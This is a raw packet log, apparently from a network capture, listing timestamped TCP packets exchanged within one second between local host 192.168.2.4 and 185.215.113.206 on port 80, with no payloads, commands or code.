Nov 30, 2024 09:44:26.105840921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.105879068 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.105889082 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.107218027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.107234955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.107254982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.107265949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.108596087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.108607054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.108632088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.108649015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.109968901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.109978914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.110006094 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.110028982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.111326933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.111335993 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.111362934 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.111382961 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.112927914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.112945080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.112963915 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.112977982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.114356041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.114373922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.114396095 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.114407063 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.115864038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.115881920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.115905046 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.115915060 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.117419958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.117429972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.117439032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.117453098 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.117475033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.118916035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.118925095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.118952036 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.118967056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.120515108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.120524883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.120553970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.120563984 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.121958017 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.121998072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.123514891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.123537064 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.123541117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.123553038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.123563051 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.123583078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.125025988 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.125036955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.125077009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.125077009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.126564026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.126590967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.126609087 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.126629114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.128098011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.128109932 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.128154039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.129626989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.129637003 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.129678011 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.131123066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.131133080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.131143093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.131164074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.131180048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.132663965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.132675886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.132704020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.132723093 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.134166956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.134177923 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.134202003 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.134217024 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.135667086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.135678053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.135718107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.173119068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.173177958 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.173484087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.173523903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.174216032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.174226999 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.174271107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.174293041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.175523043 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.175576925 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.176229000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.176268101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.176877975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.176918983 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.177375078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.177385092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.177412987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.177429914 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.178739071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.178749084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.178792000 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.180172920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.180182934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.180222988 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.181683064 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.181695938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.181724072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.181761980 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.182931900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.182950020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.182971001 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.182993889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.184283972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.184302092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.184326887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.184335947 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.185841084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.185853004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.185914040 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.185914040 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.187364101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.187375069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.187402010 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.187423944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.188894033 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.188905954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.188939095 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.188956976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.190402985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.190413952 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.190423965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.190453053 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.190462112 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.190488100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.192256927 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.192267895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.192305088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.193641901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.193660021 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.193682909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.193698883 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.194992065 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.195003986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.195045948 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.196463108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.196482897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.196491957 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.196502924 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.196516037 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.196538925 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.198086977 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.198097944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.198136091 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.199542999 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.199553967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.199583054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.199609041 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.201076031 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.201086998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.201122999 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.202687025 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.202698946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.202729940 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.202756882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.204067945 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.204080105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.204119921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.250708103 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.250777006 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.251070023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.251121998 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.251775980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.251823902 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.252439022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.252486944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.253169060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.253177881 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.253217936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.254477024 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.254523039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.300555944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.300632954 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.300909042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.300961018 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.301595926 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.301640987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.302237034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.302303076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.302645922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.302699089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.303339958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.303391933 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.304023981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.304071903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.304749966 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.304796934 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.305421114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.305433035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.305471897 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.306808949 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.306819916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.306858063 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.308187962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.308197975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.308235884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.309536934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.309546947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.309588909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.310904026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.310914993 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.310950994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.310977936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.312350988 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.312361956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.312396049 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.312412977 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.313805103 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.313816071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.313848019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.313859940 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.315330982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.315340042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.315377951 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.316848993 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.316859961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.316899061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.318381071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.318392038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.318401098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.318424940 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.318451881 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.319972992 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.319983006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.320019960 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.320044994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.321425915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.321436882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.321470976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.321492910 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.322953939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.322964907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.323004007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.324464083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.324475050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.324485064 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.324507952 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.324536085 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.325989962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.326000929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.326041937 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.327517986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.327528000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.327568054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.329030991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.329041958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.329080105 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.330559969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.330569983 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.330610991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.332076073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.332086086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.332128048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.333607912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.333623886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.333664894 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.335122108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.335131884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.335170984 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.336579084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.336590052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.336630106 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.374485016 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.374581099 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.375052929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.375109911 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.375766039 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.375776052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.375823021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.377104998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.377159119 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.377810955 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.377823114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.377867937 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.378947973 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.378958941 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.379003048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.380300045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.380321980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.380350113 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.380372047 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.381793976 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.381864071 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.382386923 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.382397890 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.382431030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.382453918 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.383912086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.383933067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.383959055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.383980989 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.385421038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.385433912 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.385473967 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.386913061 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.386931896 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.386959076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.386987925 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.388468981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.388480902 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.388513088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.388531923 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.390032053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.390055895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.390079975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.390126944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.391519070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.391535044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.391571045 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.391588926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.393064022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.393075943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.393120050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.394565105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.394576073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.394584894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.394624949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.394634962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.396039963 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.396059036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.396089077 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.396111012 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.397613049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.397624016 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.397665977 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.399118900 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.399137020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.399174929 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.399189949 CET	49749	80	192.168.2.4	185.215.113.206
